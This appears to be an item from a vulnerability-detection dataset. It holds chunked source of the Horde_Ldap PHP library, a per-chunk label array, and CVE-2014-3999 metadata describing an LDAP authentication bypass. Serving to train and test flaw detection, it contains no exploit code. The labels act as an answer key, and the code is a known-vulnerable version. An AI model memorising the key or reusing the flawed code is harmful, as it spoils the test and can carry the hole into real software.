actions himself. */\n throw new Horde_Ldap_Exception('Could not delete entry ' . $dn . ' because of subentries. Use the recursive parameter to delete them.', $error_code);\n } else {\n /* Errors other than the above catched are just passed back to\n * the user so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not delete entry ' . $dn . ': ' . ldap_err2str($error_code), $error_code);\n }\n }\n }", " /**\n * Modifies an LDAP entry on the server.\n *\n * The $params argument is an array of actions and should be something like\n * this:\n * <code>\n * array('add' => array('attribute1' => array('val1', 'val2'),\n * 'attribute2' => array('val1')),\n * 'delete' => array('attribute1'),\n * 'replace' => array('attribute1' => array('val1')),\n * 'changes' => array('add' => ...,\n * 'replace' => ...,\n * 'delete' => array('attribute1', 'attribute2' => array('val1')))\n * </code>\n *\n * The order of execution is as following:\n * 1. adds from 'add' array\n * 2. deletes from 'delete' array\n * 3. replaces from 'replace' array\n * 4. changes (add, replace, delete) in order of appearance\n *\n * The function calls the corresponding functions of an Horde_Ldap_Entry\n * object. A detailed description of array structures can be found there.\n *\n * Unlike the modification methods provided by the Horde_Ldap_Entry object,\n * this method will instantly carry out an update() after each operation,\n * thus modifying \"directly\" on the server.\n *\n * @see Horde_Ldap_Entry::add()\n * @see Horde_Ldap_Entry::delete()\n * @see Horde_Ldap_Entry::replace()\n *\n * @param string|Horde_Ldap_Entry $entry DN string or Horde_Ldap_Entry.\n * @param array $parms Array of changes\n *\n * @throws Horde_Ldap_Exception\n */\n public function modify($entry, $parms = array())\n {\n if (is_string($entry)) {\n $entry = $this->getEntry($entry);\n }\n if (!($entry instanceof Horde_Ldap_Entry)) {\n throw new Horde_Ldap_Exception('Parameter is not a string nor an entry object!');\n }", " if ($unknown = array_diff(array_keys($parms), array('add', 'delete', 'replace', 'changes'))) {\n throw new Horde_Ldap_Exception('Unknown modify action(s): ' . implode(', ', $unknown));\n }", " /* Perform changes mentioned separately. */\n foreach (array('add', 'delete', 'replace') as $action) {\n if (!isset($parms[$action])) {\n continue;\n }\n $entry->$action($parms[$action]);\n $entry->setLDAP($this);", " /* Because the ldap_*() functions are called inside\n * Horde_Ldap_Entry::update(), we have to trap the error codes\n * issued from that if we want to support reconnection. */\n while (true) {\n try {\n $entry->update();\n break;\n } catch (Exception $e) {\n /* We have a failure. What kind? We may be able to\n * reconnect and try again. */\n if ($this->errorName($e->getCode()) != 'LDAP_OPERATIONS_ERROR' ||\n !$this->_config['auto_reconnect']) {\n /* Errors other than the above catched are just passed\n * back to the user so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not modify entry: ' . $e->getMessage());\n }\n /* The server has disconnected before trying the operation.\n * We should try again, possibly with a different\n * server. */\n $this->_link = false;\n $this->_reconnect();\n }\n }\n }", " if (!isset($parms['changes']) || !is_array($parms['changes'])) {\n return;\n }", " /* Perform combined changes in 'changes' array. */\n foreach ($parms['changes'] as $action => $value) {\n $this->modify($entry, array($action => $value));\n }\n }", " /**\n * Runs an LDAP search query.\n *\n * $base and $filter may be ommitted. The one from config will then be\n * used. $base is either a DN-string or an Horde_Ldap_Entry object in which\n * case its DN will be used.\n *\n * $params may contain:\n * - scope: The scope which will be used for searching, defaults to 'sub':\n * - base: Just one entry\n * - sub: The whole tree\n * - one: Immediately below $base\n * - sizelimit: Limit the number of entries returned\n * (default: 0 = unlimited)\n * - timelimit: Limit the time spent for searching (default: 0 = unlimited)\n * - attrsonly: If true, the search will only return the attribute names\n * - attributes: Array of attribute names, which the entry should contain.\n * It is good practice to limit this to just the ones you\n * need.\n *\n * You cannot override server side limitations to sizelimit and timelimit:\n * You can always only lower a given limit.\n *\n * @todo implement search controls (sorting etc)\n *\n * @param string|Horde_Ldap_Entry $base LDAP searchbase.\n * @param string|Horde_Ldap_Filter $filter LDAP search filter.\n * @param array $params Array of options.\n *\n * @return Horde_Ldap_Search The search result.\n * @throws Horde_Ldap_Exception\n */\n public function search($base = null, $filter = null, $params = array())\n {\n if (is_null($base)) {\n $base = $this->_config['basedn'];\n }\n if ($base instanceof Horde_Ldap_Entry) {\n /* Fetch DN of entry, making searchbase relative to the entry. */\n $base = $base->dn();\n }\n if (is_null($filter)) {\n $filter = $this->_config['filter'];\n }\n if ($filter instanceof Horde_Ldap_Filter) {\n /* Convert Horde_Ldap_Filter to string representation. */\n $filter = (string)$filter;\n }", " /* Setting search parameters. */\n $sizelimit = isset($params['sizelimit']) ? $params['sizelimit'] : 0;\n $timelimit = isset($params['timelimit']) ? $params['timelimit'] : 0;\n $attrsonly = isset($params['attrsonly']) ? $params['attrsonly'] : 0;\n $attributes = isset($params['attributes']) ? $params['attributes'] : array();", " /* Ensure $attributes to be an array in case only one attribute name\n * was given as string. */\n if (!is_array($attributes)) {\n $attributes = array($attributes);\n }", " /* Reorganize the $attributes array index keys sometimes there are\n * problems with not consecutive indexes. */\n $attributes = array_values($attributes);", " /* Scoping makes searches faster! */\n $scope = isset($params['scope'])\n ? $params['scope']\n : $this->_config['scope'];", " switch ($scope) {\n case 'one':\n $search_function = 'ldap_list';\n break;\n case 'base':\n $search_function = 'ldap_read';\n break;\n default:\n $search_function = 'ldap_search';\n }", " /* Continue attempting the search operation until we get a success or a\n * definitive failure. */\n while (true) {\n $link = $this->getLink();\n $search = @call_user_func($search_function,\n $link,\n $base,\n $filter,\n $attributes,\n $attrsonly,\n $sizelimit,\n $timelimit);", " if ($errno = @ldap_errno($link)) {\n $err = $this->errorName($errno);\n if ($err == 'LDAP_NO_SUCH_OBJECT' ||\n $err == 'LDAP_SIZELIMIT_EXCEEDED') {\n return new Horde_Ldap_Search($search, $this, $attributes);\n }\n if ($err == 'LDAP_FILTER_ERROR') {\n /* Bad search filter. */\n throw new Horde_Ldap_Exception(ldap_err2str($errno) . ' ($filter)', $errno);\n }\n if ($err == 'LDAP_OPERATIONS_ERROR' &&\n $this->_config['auto_reconnect']) {\n $this->_link = false;\n $this->_reconnect();\n } else {\n $msg = \"\\nParameters:\\nBase: $base\\nFilter: $filter\\nScope: $scope\";\n throw new Horde_Ldap_Exception(ldap_err2str($errno) . $msg, $errno);\n }\n } else {\n return new Horde_Ldap_Search($search, $this, $attributes);\n }\n }\n }", " /**\n * Returns the DN of a user.\n *\n * The purpose is to quickly find the full DN of a user so it can be used\n * to re-bind as this user. This method requires the 'user' configuration\n * parameter to be set.\n *\n * @param string $user The user to find.\n *\n * @return string The user's full DN.\n * @throws Horde_Ldap_Exception\n * @throws Horde_Exception_NotFound\n */\n public function findUserDN($user)\n {\n $filter = Horde_Ldap_Filter::combine(\n 'and',\n array(Horde_Ldap_Filter::build($this->_config['user']),\n Horde_Ldap_Filter::create($this->_config['user']['uid'], 'equals', $user)));\n $search = $this->search(\n null,\n $filter,\n array('attributes' => array($this->_config['user']['uid'])));\n if (!$search->count()) {\n throw new Horde_Exception_NotFound('DN for user ' . $user . ' not found');\n }\n $entry = $search->shiftEntry();\n return $entry->currentDN();\n }", " /**\n * Sets an LDAP option.\n *\n * @param string $option Option to set.\n * @param mixed $value Value to set option to.\n *\n * @throws Horde_Ldap_Exception\n */\n public function setOption($option, $value)\n {\n if (!$this->_link) {\n throw new Horde_Ldap_Exception('Could not set LDAP option: No LDAP connection');\n }\n if (!defined($option)) {\n throw new Horde_Ldap_Exception('Unkown option requested');\n }\n if (@ldap_set_option($this->_link, constant($option), $value)) {\n return;\n }\n $err = @ldap_errno($this->_link);\n if ($err) {\n throw new Horde_Ldap_Exception(ldap_err2str($err), $err);\n }\n throw new Horde_Ldap_Exception('Unknown error');\n }", " /**\n * Returns an LDAP option value.\n *\n * @param string $option Option to get.\n *\n * @return Horde_Ldap_Error|string Horde_Ldap_Error or option value\n * @throws Horde_Ldap_Exception\n */\n public function getOption($option)\n {\n if (!$this->_link) {\n throw new Horde_Ldap_Exception('No LDAP connection');\n }\n if (!defined($option)) {\n throw new Horde_Ldap_Exception('Unkown option requested');\n }\n if (@ldap_get_option($this->_link, constant($option), $value)) {\n return $value;\n }\n $err = @ldap_errno($this->_link);\n if ($err) {\n throw new Horde_Ldap_Exception(ldap_err2str($err), $err);\n }\n throw new Horde_Ldap_Exception('Unknown error');\n }", " /**\n * Returns the LDAP protocol version that is used on the connection.\n *\n * A lot of LDAP functionality is defined by what protocol version\n * the LDAP server speaks. This might be 2 or 3.\n *\n * @return integer The protocol version.\n */\n public function getVersion()\n {\n if ($this->_link) {\n $version = $this->getOption('LDAP_OPT_PROTOCOL_VERSION');\n } else {\n $version = $this->_config['version'];\n }\n return $version;\n }", " /**\n * Sets the LDAP protocol version that is used on the connection.\n *\n * @todo Checking via the rootDSE takes much time - why? fetching\n * and instanciation is quick!\n *\n * @param integer $version LDAP version that should be used.\n * @param boolean $force If set to true, the check against the rootDSE\n * will be skipped.\n *\n * @throws Horde_Ldap_Exception\n */\n public function setVersion($version = 0, $force = false)\n {\n if (!$version) {\n $version = $this->_config['version'];\n }", " /* Check to see if the server supports this version first.\n *\n * TODO: Why is this so horribly slow? $this->rootDSE() is very fast,\n * as well as Horde_Ldap_RootDse(). Seems like a problem at copying the\n * object inside PHP?? Additionally, this is not always\n * reproducable... */\n if (!$force) {\n try {\n $rootDSE = $this->rootDSE();\n $supported_versions = $rootDSE->getValue('supportedLDAPVersion');\n if (is_string($supported_versions)) {\n $supported_versions = array($supported_versions);\n }\n $check_ok = in_array($version, $supported_versions);\n } catch (Horde_Ldap_Exception $e) {\n /* If we don't get a root DSE, this is probably a v2 server. */\n $check_ok = $version < 3;\n }\n }\n $check_ok = true;", " if ($force || $check_ok) {\n return $this->setOption('LDAP_OPT_PROTOCOL_VERSION', $version);\n }\n throw new Horde_Ldap_Exception('LDAP Server does not support protocol version ' . $version);\n }", "\n /**\n * Returns whether a DN exists in the directory.\n *\n * @param string|Horde_Ldap_Entry $dn The DN of the object to test.\n *\n * @return boolean True if the DN exists.\n * @throws Horde_Ldap_Exception\n */\n public function exists($dn)\n {\n if ($dn instanceof Horde_Ldap_Entry) {\n $dn = $dn->dn();\n }\n if (!is_string($dn)) {\n throw new Horde_Ldap_Exception('Parameter $dn is not a string nor an entry object!');\n }", " /* Make dn relative to parent. */\n $base = Horde_Ldap_Util::explodeDN($dn, array('casefold' => 'none', 'reverse' => false, 'onlyvalues' => false));\n $entry_rdn = array_shift($base);\n $base = Horde_Ldap_Util::canonicalDN($base);", " $result = @ldap_list($this->_link, $base, $entry_rdn, array(), 1, 1);\n if (@ldap_count_entries($this->_link, $result)) {\n return true;\n }\n if ($this->errorName(@ldap_errno($this->_link)) == 'LDAP_NO_SUCH_OBJECT') {\n return false;\n }\n if (@ldap_errno($this->_link)) {\n throw new Horde_Ldap_Exception(@ldap_error($this->_link), @ldap_errno($this->_link));\n }\n return false;\n }", "\n /**\n * Returns a specific entry based on the DN.\n *\n * @todo Maybe a check against the schema should be done to be\n * sure the attribute type exists.\n *\n * @param string $dn DN of the entry that should be fetched.\n * @param array $attributes Array of Attributes to select. If ommitted, all\n * attributes are fetched.\n *\n * @return Horde_Ldap_Entry A Horde_Ldap_Entry object.\n * @throws Horde_Ldap_Exception\n * @throws Horde_Exception_NotFound\n */\n public function getEntry($dn, $attributes = array())\n {\n if (!is_array($attributes)) {\n $attributes = array($attributes);\n }\n $result = $this->search($dn, '(objectClass=*)',\n array('scope' => 'base', 'attributes' => $attributes));\n if (!$result->count()) {\n throw new Horde_Exception_NotFound(sprintf('Could not fetch entry %s: no entry found', $dn));\n }\n $entry = $result->shiftEntry();\n if (!$entry) {\n throw new Horde_Ldap_Exception('Could not fetch entry (error retrieving entry from search result)');\n }\n return $entry;\n }", " /**\n * Renames or moves an entry.\n *\n * This method will instantly carry out an update() after the\n * move, so the entry is moved instantly.\n *\n * You can pass an optional Horde_Ldap object. In this case, a\n * cross directory move will be performed which deletes the entry\n * in the source (THIS) directory and adds it in the directory\n * $target_ldap.\n *\n * A cross directory move will switch the entry's internal LDAP\n * reference so updates to the entry will go to the new directory.\n *\n * If you want to do a cross directory move, you need to pass an\n * Horde_Ldap_Entry object, otherwise the attributes will be\n * empty.\n *\n * @param string|Horde_Ldap_Entry $entry An LDAP entry.\n * @param string $newdn The new location.\n * @param Horde_Ldap $target_ldap Target directory for cross\n * server move.\n *\n * @throws Horde_Ldap_Exception\n */\n public function move($entry, $newdn, $target_ldap = null)\n {\n if (is_string($entry)) {\n if ($target_ldap && $target_ldap !== $this) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: operation requires a Horde_Ldap_Entry object');\n }\n $entry = $this->getEntry($entry);\n }\n if (!$entry instanceof Horde_Ldap_Entry) {\n throw new Horde_Ldap_Exception('Parameter $entry is expected to be a Horde_Ldap_Entry object! (If DN was passed, conversion failed)');\n }\n if ($target_ldap && !($target_ldap instanceof Horde_Ldap)) {\n throw new Horde_Ldap_Exception('Parameter $target_ldap is expected to be a Horde_Ldap object!');\n }", " if (!$target_ldap || $target_ldap === $this) {\n /* Local move. */\n $entry->dn($newdn);\n $entry->setLDAP($this);\n $entry->update();\n return;\n }", " /* Cross directory move. */\n if ($target_ldap->exists($newdn)) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: entry does exist in target directory');\n }\n $entry->dn($newdn);\n try {\n $target_ldap->add($entry);\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: ' . $e->getMessage() . ' in target directory');\n }", " try {\n $this->delete($entry->currentDN());\n } catch (Exception $e) {\n try {\n $add_error_string = '';\n /* Undo add. */\n $target_ldap->delete($entry);\n } catch (Exception $e) {\n $add_error_string = ' Additionally, the deletion (undo add) of $entry in target directory failed.';\n }\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: ' . $e->getMessage() . ' in source directory.' . $add_error_string);\n }\n $entry->setLDAP($target_ldap);\n }", " /**\n * Copies an entry to a new location.\n *\n * The entry will be immediately copied. Only attributes you have\n * selected will be copied.\n *\n * @param Horde_Ldap_Entry $entry An LDAP entry.\n * @param string $newdn New FQF-DN of the entry.\n *\n * @return Horde_Ldap_Entry The copied entry.\n * @throws Horde_Ldap_Exception\n */\n public function copy($entry, $newdn)\n {\n if (!$entry instanceof Horde_Ldap_Entry) {\n throw new Horde_Ldap_Exception('Parameter $entry is expected to be a Horde_Ldap_Entry object');\n }", " $newentry = Horde_Ldap_Entry::createFresh($newdn, $entry->getValues());\n $this->add($newentry);", " return $newentry;\n }", "\n /**\n * Returns the string for an LDAP errorcode.\n *\n * Made to be able to make better errorhandling. Function based\n * on DB::errorMessage().\n *\n * Hint: The best description of the errorcodes is found here:\n * http://www.directory-info.com/Ldap/LDAPErrorCodes.html\n *\n * @param integer $errorcode An error code.\n *\n * @return string The description for the error.\n */\n public static function errorName($errorcode)\n {\n $errorMessages = array(\n 0x00 => 'LDAP_SUCCESS',\n 0x01 => 'LDAP_OPERATIONS_ERROR',\n 0x02 => 'LDAP_PROTOCOL_ERROR',\n 0x03 => 'LDAP_TIMELIMIT_EXCEEDED',\n 0x04 => 'LDAP_SIZELIMIT_EXCEEDED',\n 0x05 => 'LDAP_COMPARE_FALSE',\n 0x06 => 'LDAP_COMPARE_TRUE',\n 0x07 => 'LDAP_AUTH_METHOD_NOT_SUPPORTED',\n 0x08 => 'LDAP_STRONG_AUTH_REQUIRED',\n 0x09 => 'LDAP_PARTIAL_RESULTS',\n 0x0a => 'LDAP_REFERRAL',\n 0x0b => 'LDAP_ADMINLIMIT_EXCEEDED',\n 0x0c => 'LDAP_UNAVAILABLE_CRITICAL_EXTENSION',\n 0x0d => 'LDAP_CONFIDENTIALITY_REQUIRED',\n 0x0e => 'LDAP_SASL_BIND_INPROGRESS',\n 0x10 => 'LDAP_NO_SUCH_ATTRIBUTE',\n 0x11 => 'LDAP_UNDEFINED_TYPE',\n 0x12 => 'LDAP_INAPPROPRIATE_MATCHING',\n 0x13 => 'LDAP_CONSTRAINT_VIOLATION',\n 0x14 => 'LDAP_TYPE_OR_VALUE_EXISTS',\n 0x15 => 'LDAP_INVALID_SYNTAX',\n 0x20 => 'LDAP_NO_SUCH_OBJECT',\n 0x21 => 'LDAP_ALIAS_PROBLEM',\n 0x22 => 'LDAP_INVALID_DN_SYNTAX',\n 0x23 => 'LDAP_IS_LEAF',\n 0x24 => 'LDAP_ALIAS_DEREF_PROBLEM',\n 0x30 => 'LDAP_INAPPROPRIATE_AUTH',\n 0x31 => 'LDAP_INVALID_CREDENTIALS',\n 0x32 => 'LDAP_INSUFFICIENT_ACCESS',\n 0x33 => 'LDAP_BUSY',\n 0x34 => 'LDAP_UNAVAILABLE',\n 0x35 => 'LDAP_UNWILLING_TO_PERFORM',\n 0x36 => 'LDAP_LOOP_DETECT',\n 0x3C => 'LDAP_SORT_CONTROL_MISSING',\n 0x3D => 'LDAP_INDEX_RANGE_ERROR',\n 0x40 => 'LDAP_NAMING_VIOLATION',\n 0x41 => 'LDAP_OBJECT_CLASS_VIOLATION',\n 0x42 => 'LDAP_NOT_ALLOWED_ON_NONLEAF',\n 0x43 => 'LDAP_NOT_ALLOWED_ON_RDN',\n 0x44 => 'LDAP_ALREADY_EXISTS',\n 0x45 => 'LDAP_NO_OBJECT_CLASS_MODS',\n 0x46 => 'LDAP_RESULTS_TOO_LARGE',\n 0x47 => 'LDAP_AFFECTS_MULTIPLE_DSAS',\n 0x50 => 'LDAP_OTHER',\n 0x51 => 'LDAP_SERVER_DOWN',\n 0x52 => 'LDAP_LOCAL_ERROR',\n 0x53 => 'LDAP_ENCODING_ERROR',\n 0x54 => 'LDAP_DECODING_ERROR',\n 0x55 => 'LDAP_TIMEOUT',\n 0x56 => 'LDAP_AUTH_UNKNOWN',\n 0x57 => 'LDAP_FILTER_ERROR',\n 0x58 => 'LDAP_USER_CANCELLED',\n 0x59 => 'LDAP_PARAM_ERROR',\n 0x5a => 'LDAP_NO_MEMORY',\n 0x5b => 'LDAP_CONNECT_ERROR',\n 0x5c => 'LDAP_NOT_SUPPORTED',\n 0x5d => 'LDAP_CONTROL_NOT_FOUND',\n 0x5e => 'LDAP_NO_RESULTS_RETURNED',\n 0x5f => 'LDAP_MORE_RESULTS_TO_RETURN',\n 0x60 => 'LDAP_CLIENT_LOOP',\n 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',\n 1000 => 'Unknown Error');", " return isset($errorMessages[$errorcode]) ?\n $errorMessages[$errorcode] :\n 'Unknown Error (' . $errorcode . ')';\n }", " /**\n * Returns a rootDSE object\n *\n * This either fetches a fresh rootDSE object or returns it from\n * the internal cache for performance reasons, if possible.\n *\n * @param array $attrs Array of attributes to search for.\n *\n * @return Horde_Ldap_RootDse Horde_Ldap_RootDse object\n * @throws Horde_Ldap_Exception\n */\n public function rootDSE(array $attrs = array())\n {\n $attrs_signature = serialize($attrs);", " /* See if we need to fetch a fresh object, or if we already\n * requested this object with the same attributes. */\n if (!isset($this->_rootDSECache[$attrs_signature])) {\n $this->_rootDSECache[$attrs_signature] = new Horde_Ldap_RootDse($this, $attrs);\n }", " return $this->_rootDSECache[$attrs_signature];\n }", " /**\n * Returns a schema object\n *\n * @param string $dn Subschema entry dn.\n *\n * @return Horde_Ldap_Schema Horde_Ldap_Schema object\n * @throws Horde_Ldap_Exception\n */\n public function schema($dn = null)\n {\n /* If a schema caching object is registered, we use that to fetch a\n * schema object. */\n $key = 'Horde_Ldap_Schema_' . md5(serialize(array($this->_config['hostspec'], $this->_config['port'], $dn)));\n if (!$this->_schema && $this->_config['cache']) {\n $schema = $this->_config['cache']->get($key, $this->_config['cachettl']);\n if ($schema) {\n $this->_schema = @unserialize($schema);\n }\n }", " /* Fetch schema, if not tried before and no cached version available.\n * If we are already fetching the schema, we will skip fetching. */\n if (!$this->_schema) {\n /* Store a temporary error message so subsequent calls to schema()\n * can detect that we are fetching the schema already. Otherwise we\n * will get an infinite loop at Horde_Ldap_Schema. */\n $this->_schema = new Horde_Ldap_Exception('Schema not initialized');\n $this->_schema = new Horde_Ldap_Schema($this, $dn);", " /* If schema caching is active, advise the cache to store the\n * schema. */\n if ($this->_config['cache']) {\n $this->_config['cache']->set($key, serialize($this->_schema), $this->_config['cachettl']);\n }\n }", " if ($this->_schema instanceof Horde_Ldap_Exception) {\n throw $this->_schema;\n }", " return $this->_schema;\n }", " /**\n * Checks if PHP's LDAP extension is loaded.\n *\n * If it is not loaded, it tries to load it manually using PHP's dl().\n * It knows both windows-dll and *nix-so.\n *\n * @throws Horde_Ldap_Exception\n */\n public static function checkLDAPExtension()\n {\n if (!extension_loaded('ldap') && !@dl('ldap.' . PHP_SHLIB_SUFFIX)) {\n throw new Horde_Ldap_Exception('Unable to locate PHP LDAP extension. Please install it before using the Horde_Ldap package.');\n }\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Encodes given attributes to UTF8 if needed by schema.\n *\n * This function takes attributes in an array and then checks\n * against the schema if they need UTF8 encoding. If that is the\n * case, they will be encoded. An encoded array will be returned\n * and can be used for adding or modifying.\n *\n * $attributes is expected to be an array with keys describing\n * the attribute names and the values as the value of this attribute:\n * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>\n *\n * @param array $attributes An array of attributes.\n *\n * @return array|Horde_Ldap_Error An array of UTF8 encoded attributes or an error.\n */\n public function utf8Encode($attributes)\n {\n return $this->utf8($attributes, 'utf8_encode');\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Decodes the given attribute values if needed by schema\n *\n * $attributes is expected to be an array with keys describing\n * the attribute names and the values as the value of this attribute:\n * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>\n *\n * @param array $attributes Array of attributes\n *\n * @access public\n * @see utf8Encode()\n * @return array|Horde_Ldap_Error Array with decoded attribute values or Error\n */\n public function utf8Decode($attributes)\n {\n return $this->utf8($attributes, 'utf8_decode');\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Encodes or decodes attribute values if needed\n *\n * @param array $attributes Array of attributes\n * @param array $function Function to apply to attribute values\n *\n * @access protected\n * @return array Array of attributes with function applied to values.\n */\n protected function utf8($attributes, $function)\n {\n if (!is_array($attributes) || array_key_exists(0, $attributes)) {\n throw new Horde_Ldap_Exception('Parameter $attributes is expected to be an associative array');\n }", " if (!$this->_schema) {\n $this->_schema = $this->schema();\n }", " if (!$this->_link || !function_exists($function)) {\n return $attributes;\n }", " if (is_array($attributes) && count($attributes) > 0) {", " foreach ($attributes as $k => $v) {", " if (!isset($this->_schemaAttrs[$k])) {", " try {\n $attr = $this->_schema->get('attribute', $k);\n } catch (Exception $e) {\n continue;\n }", " if (false !== strpos($attr['syntax'], '1.3.6.1.4.1.1466.115.121.1.15')) {\n $encode = true;\n } else {\n $encode = false;\n }\n $this->_schemaAttrs[$k] = $encode;", " } else {\n $encode = $this->_schemaAttrs[$k];\n }", " if ($encode) {\n if (is_array($v)) {\n foreach ($v as $ak => $av) {\n $v[$ak] = call_user_func($function, $av);\n }\n } else {\n $v = call_user_func($function, $v);\n }\n }\n $attributes[$k] = $v;\n }\n }\n return $attributes;\n }", " /**\n * Returns the LDAP link resource.\n *\n * It will loop attempting to re-establish the connection if the\n * connection attempt fails and auto_reconnect has been turned on\n * (see the _config array documentation).\n *\n * @return resource LDAP link.\n */\n public function getLink()\n {\n if ($this->_config['auto_reconnect']) {\n while (true) {\n /* Return the link handle if we are already connected.\n * Otherwise try to reconnect. */\n if ($this->_link) {\n return $this->_link;\n }\n $this->_reconnect();\n }\n }\n return $this->_link;\n }", " /**\n * Builds an LDAP search filter fragment.\n *\n * @param string $lhs The attribute to test.\n * @param string $op The operator.\n * @param string $rhs The comparison value.\n * @param array $params Any additional parameters for the operator.\n *\n * @return string The LDAP search fragment.\n */\n public static function buildClause($lhs, $op, $rhs, $params = array())\n {\n switch ($op) {\n case 'LIKE':\n if (empty($rhs)) {\n return '(' . $lhs . '=*)';\n }\n if (!empty($params['begin'])) {\n return sprintf('(|(%s=%s*)(%s=* %s*))', $lhs, self::quote($rhs), $lhs, self::quote($rhs));\n }\n if (!empty($params['approximate'])) {\n return sprintf('(%s~=%s)', $lhs, self::quote($rhs));\n }\n return sprintf('(%s=*%s*)', $lhs, self::quote($rhs));", " default:\n return sprintf('(%s%s%s)', $lhs, $op, self::quote($rhs));\n }\n }", "\n /**\n * Escapes characters with special meaning in LDAP searches.\n *\n * @param string $clause The string to escape.\n *\n * @return string The escaped string.\n */\n public static function quote($clause)\n {\n return str_replace(array('\\\\', '(', ')', '*', \"\\0\"),\n array('\\\\5c', '\\(', '\\)', '\\*', \"\\\\00\"),\n $clause);\n }", " /**\n * Takes an array of DN elements and properly quotes it according to RFC\n * 1485.\n *\n * @param array $parts An array of tuples containing the attribute\n * name and that attribute's value which make\n * up the DN. Example:\n * <code>\n * $parts = array(0 => array('cn', 'John Smith'),\n * 1 => array('dc', 'example'),\n * 2 => array('dc', 'com'));\n * </code>\n *\n * @return string The properly quoted string DN.\n */\n public static function quoteDN($parts)\n {\n $dn = '';\n $count = count($parts);\n for ($i = 0; $i < $count; $i++) {\n if ($i > 0) {\n $dn .= ',';\n }\n $dn .= $parts[$i][0] . '=';", " // See if we need to quote the value.\n if (preg_match('/^\\s|\\s$|\\s\\s|[,+=\"\\r\\n<>#;]/', $parts[$i][1])) {\n $dn .= '\"' . str_replace('\"', '\\\\\"', $parts[$i][1]) . '\"';\n } else {\n $dn .= $parts[$i][1];\n }\n }", " return $dn;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [213, 83], "buggy_code_start_loc": [209, 83], "filenames": ["framework/Ldap/lib/Horde/Ldap.php", "framework/Ldap/test/Horde/Ldap/LdapTest.php"], "fixing_code_end_loc": [213, 97], "fixing_code_start_loc": [209, 84], "message": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:horde:horde_ldap:*:*:*:*:*:horde:*:*", "matchCriteriaId": "7620D38C-DA8C-4183-9139-5B019DA7112C", "versionEndExcluding": "2.0.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN."}, {"lang": "es", "value": "La biblioteca Horde_Ldap en versiones anteriores a la 2.0.6 para Horde permite que atacantes remotos omitan la autenticaci\u00f3n aprovechando el conocimiento del DN del usuario bind LDAP."}], "evaluatorComment": null, "id": "CVE-2014-3999", "lastModified": "2018-05-18T13:23:25.737", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-04-10T15:29:00.877", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "http://www.openwall.com/lists/oss-security/2014/06/14/1"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/68014"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1109628"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, {"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "https://marc.info/?l=horde-announce&m=140178644816474&w=2"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-287"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, "type": "CWE-287"}
149
Determine whether the {function_name} code is vulnerable or not.
